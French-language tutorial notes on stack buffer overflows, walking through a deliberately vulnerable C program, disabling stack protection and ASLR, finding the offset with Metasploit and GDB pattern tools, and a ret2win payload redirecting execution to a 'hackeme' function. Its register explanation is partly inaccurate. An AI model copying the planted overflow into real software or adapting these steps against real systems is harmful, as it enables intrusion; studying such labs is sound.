Buffer Overlow
Def et Fonctionnement :
Un buffer overflow est un phénomène qui survient lorsqu'un utilisateur peut envoyer des données dans des zones mémoires non-prévues.
Ces instructions sont stockées dans la mémoire du programme.
De ce fait, un utilisateur mal intentionné peut donc entrer un payload qui est donc du code que le programme va exectuer, ce qui peut nous donner une RCE.
L'exploitation des buffers overflow existent de différentes manières, on peut entrer du code qui sera executé, sinon il est aussi possible de définir une adresse de retour pour une fonction, ce qui peut permettre d'executer d'autres parties du code.
Démonstration :
Code Initial :
#include <stdio.h>
#include <string.h>
void hackeme() {
printf("Hacked!\n");
}
void verySecureInput() {
char buffer[20];
printf("Enter password: ");
fgets(buffer, 50, stdin);
buffer[strcspn(buffer, "\n")] = '\0';
if (strcmp(buffer, "MyVerySecurePassword") == 0) {
printf("Authorized!\n");
}
else {
printf("Unauthorized!\n");
}
}
int main() {
verySecureInput();
return 0;
}
On doit faire un peu de config avant :
gcc -o vulnerable_program -fno-stack-protector -z execstack -g vulnerable.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
On peut le reactiver :
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Principe d'exploitation :
Comment se passe un buffer overflow ?
Lors du buffer overflow on va pouvoir changer des informations stockées en mémoire, et notamment des registres !
Notamment, et régulièrement avec un buffer overflow, il est possible de changer la valeur de rsp
(esp
).
Ce registre stock en mémoire la valeur de retour de la fonction. Donc dans notre exemple on va vouloir modifier la valeur de ce registre, le but étant que dès que le rip
passe sur cette instruction, il va aller à un autre endroit dans la mémoire que nous choisissons.
Connaître la longueur du buffer :
Pour aller plus vite que GDB :
msf-pattern_create -l 100
On copie la valeur du registre qui nous intéresse :
On ne prend que les 4 premières lettres (pour fonctionner en 64 et 32 bits c'est chelou) :
msf-patter_offset -q b3Ab
On a donc un offset de 40 pour aller dans rsp
.
Sinon de manière plus simple on utilise objdump -d <file>
L'adresse désirée est 0x0000000000401166
, il faut formatter un peut le format, en renversant l'addresse et en la plaçant en hex.
Notre payload sera donc :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x66\x11\x40\x00\x00\x00\x00\x00
On va faire un python pour l'obtenir et le mettre dans notre executable :
python -c "print('A'*40+'\x66\x11\x40\x00\x00\x00\x00\x00')" | ./program
On a donc bien pu rediriger notre programme pour executer une autre instruction.
Autres outils:
Dans GDB on va utiliser un pattern pour identifier la longueur :
pattern create 100
# cpy paste dans l'input
pattern offset faaaaaaag
On a donc un offset de 40, on créé donc un fichier avec 40 A et 3 B, si cela fonctionne alors on devrait avoir une adresse de retour qui est BBB :
On va donc maintenant changer l'execution, en envoyant à la place une ligne qui sera l'adresse de retour de la fonction, et on va donc envoyer ça sur l'adresse de la fonction hackme :